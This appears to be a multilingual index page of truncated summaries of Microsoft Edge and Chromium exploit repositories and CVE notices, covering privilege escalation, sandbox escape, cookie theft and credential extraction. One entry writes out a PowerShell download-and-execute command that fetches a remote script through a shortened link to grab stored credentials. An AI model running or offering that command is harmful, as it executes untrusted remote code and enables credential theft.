credgrap_ie_edge

credgrapieedge Content: Extract stored credentials from Internet Explorer and Edge Author: Florian Hansemann | @HanseSecure | https://hansesecure.de Date: 04/2018 Usage powershell -nop -exec bypass -c "IEX New-Object Net.WebClient.DownloadString'http://bit.ly/2K75g15'" Recommendation Powershell...

CVE-2024-21388

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求安全归还所有被恐怖组织哈马斯劫持为人质的公民。我们将不懈努力，直到所有人质获释并安全回家。您可以帮助他们回家。https://stories.bringthemhomenow.net/ Microsoft Edge 漏洞利用 CVE-2024-21388 此 Python 脚本利用 Microsoft Edge 中的一个漏洞 CVE-2024-21388，可通过私有 API 以提升的权限静默安装浏览器扩展。 描述 Guardio Labs 发现 Microsoft Edge 中存在一个漏洞，编号为...

TriBell_Edge_SandBox_Escape

TriBellEdgeSandBoxEscape Tribell Edge 沙箱逃逸 - Edge 遗留漏洞 BadgeUpdateManager / TileFlyoutUpdateManager / ToastNotificationManager 的 PoC，利用跨边界 XmlDocument 共享并逃逸 Edge 的 LPAC 沙箱 CVE-2019-0555。 该 PoC 在即时编译 JIT 过程中触发 notepad.exe 的执行。 测试环境 Windows 10 Version 1809 OS Build 17763.107 Microsoft Edge Microsof...

CVE-2022-21970

CVE-2022-21970 Descripción Vulnerabilidad de elevación de privilegios en Microsoft Edge basado en Chromium. Esta vulnerabilidad permite a un atacante ejecutar código javascript en cualquier host sin permiso; también puede robar archivos locales del sistema, y también puede manipular las acciones...

cookie_crimes

无需 Root 权限的 Chrome Cookie 提取 该工具会打印用户的 Chrome 浏览器 Cookie。你无需知道他们的密码，也无需 root 权限就能使用。非常棒非常棒非常棒非常棒。 如果你不是那种经常能在别人电脑上执行代码的人，那你大概不会在意这个。 特性 以精美的 JSON 格式打印所有 Chrome Cookie 无需 root 权限或用户密码即可工作 支持 Windows、Linux、macOS 实际上也支持 Microsoft Edge 浏览器 从任意 Chrome 用户配置文件中获取 Cookie 永远不会已读不回 能烤出一份像样的千层面 可编译为单个二进制文件...

STIG-Edge-RCE-CVE2025-9478

STIG – Microsoft Edge Chromium 139.0.3405.125 远程代码执行 CVE-2025-9478, Plugin ID: 258091 之前 发现： Microsoft Edge 版本 139.0.3405.86 已过时，易受一个严重的远程代码执行 RCE 漏洞 CVE-2025-9478 的影响。 风险： 攻击者可能利用 ANGLE 中的释放后使用漏洞，通过精心构造的 HTML 页面执行任意代码。 证据： 修复措施 1. 将 Microsoft Edge 更新至版本 139.0.3405.125（已修补）。 2. 验证版本更新...

CVE-2022-0337-PoC-Google-Chrome-Microsoft-Edge-Opera

🤝 展示您的支持 - 如果您喜欢本内容，请给一个 ⭐️ | 在 Twitter 上分享 | 关注我 CVE-2022-0337 Google Chrome、Microsoft Edge 和 Opera 系统环境变量泄露漏洞 📝 描述 成功利用此漏洞可导致用户存储在系统环境变量中的秘密泄露。Chromium 92 版本中存在一个安全漏洞，并在 97 版本中修复。有多个基于 Chromium 引擎的网页浏览器，例如 Google Chrome、Microsoft Edge、Opera 和 Brave。除了 Brave 外，它们都存在漏洞。该漏洞存在于文件系统访问 API 中，更具体地说是...

Microsoft-Edge-Information-Disclosure

Microsoft-Edge-Information-Disclosure CVE-2024-30056 Microsoft Edge Chromium-based Vulnerabilidad de Divulgación de Información Esta es una vulnerabilidad en Microsoft Edge Chromium-based. El atacante pudo engañar al usuario para que revelara información sensible sin su conocimiento. Poc: PoC...

CVE-2025-47181

CVE-2025-47181 概念：Microsoft Edge 链接跟随权限提升 项目概述 本仓库呈现了 CVE-2025-47181 Concept ，这是一个 Python 程序，旨在说明 CVE-2025-47181 的机制和影响。这是 Microsoft Edge（基于 Chromium） 中的一个权限提升漏洞 ，归类为 "文件访问前未正确解析链接（'链接跟随'）"（CWE-59） 。该漏洞允许经授权的本地攻击者提升其在系统上的权限。 该程序不包含 CVE-2025-47181 的实际利用代码。相反，它模拟了"链接跟随"攻击的基本步骤： 创建受信任的临时目录 （例如 Edge...

CVE-Tracker

CVE-Tracker 借助此自动化脚本，你将永远不会错过最新发布的CVE。这个PowerShell脚本的作用是在系统启动时运行Microsoft Edge，导航到两个URL，并将浏览器设置为全屏模式。 作为道德黑客，跟踪最新发布的CVE至关重要，这样才能全面了解互联网上出现的新威胁或漏洞。实际上，这是我们日常工作中的常规任务。那么，为什么不将打开浏览器并检查新CVE的整个过程自动化呢？该工具的目的就是通过PowerShell脚本来自动化这个流程。 在众多发布新CVE的在线来源中，我选择了以下两个URL，并将其集成到脚本中。 URLs --- https://cvetrends.com/...

CVE-2018-8495-POC

CVE-2018-8495 POC CVE-2018-8495 Microsoft Edge 远程代码执行的简单POC 来源：https://leucosite.com/Microsoft-Edge-RCE/...

OnTheEdge

OnTheEdge OnTheEdge es una pequeña PoC de investigación para Windows escrita en C para estudiar datos relacionados con credenciales que pueden estar presentes en la memoria de los procesos de Microsoft Edge mientras el navegador está en ejecución. El proyecto proporciona dos variantes: Ejecutable...

cve-2017-0065

Explotando el controlador de URL read:// de Edge Introducción Este exploit fue reportado a Microsoft y fui reconocido por hacerlo. El exploit fue parcheado el 14 de marzo de 2017 bajo los nombres CVE-2017-0065 y MS17-007 y no funcionará si los parches relacionados están aplicados. El código fuent...

CVE-2019-0678

漏洞 Microsoft Edge 权限提升漏洞 漏洞描述 该漏洞允许攻击者在未经许可的情况下在每个主机上执行JavaScript代码，攻击者还可以窃取本地系统文件，这还会导致更改 Microsoft Edge 中的内部开发者设置。 CVE-ID CVE-2019-0678 供应商 Microsoft 产品 Microsoft Edge 披露时间线 1. 2018年11月28日向供应商报告 2. 2019年12月3日协调公开发布安全公告 致谢 Nikhil Mittal...

Chromium CVE-2026-87640: Out of bounds read in WebView

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

Chromium CVE-2026-87522: Missing authorization in WebView

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

Chromium CVE-2026-87503: Inappropriate implementation in Downloads

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

Chromium CVE-2026-87488: Use after free in WebGL

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

Chromium CVE-2026-87483: Incorrect authorization in Browser

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...

Chromium CVE-2026-87481: Incorrect authorization in WebView

This CVE was assigned by Chrome. Microsoft Edge Chromium-based ingests Chromium, which addresses this vulnerability. Please see Google Chrome Releases for more information...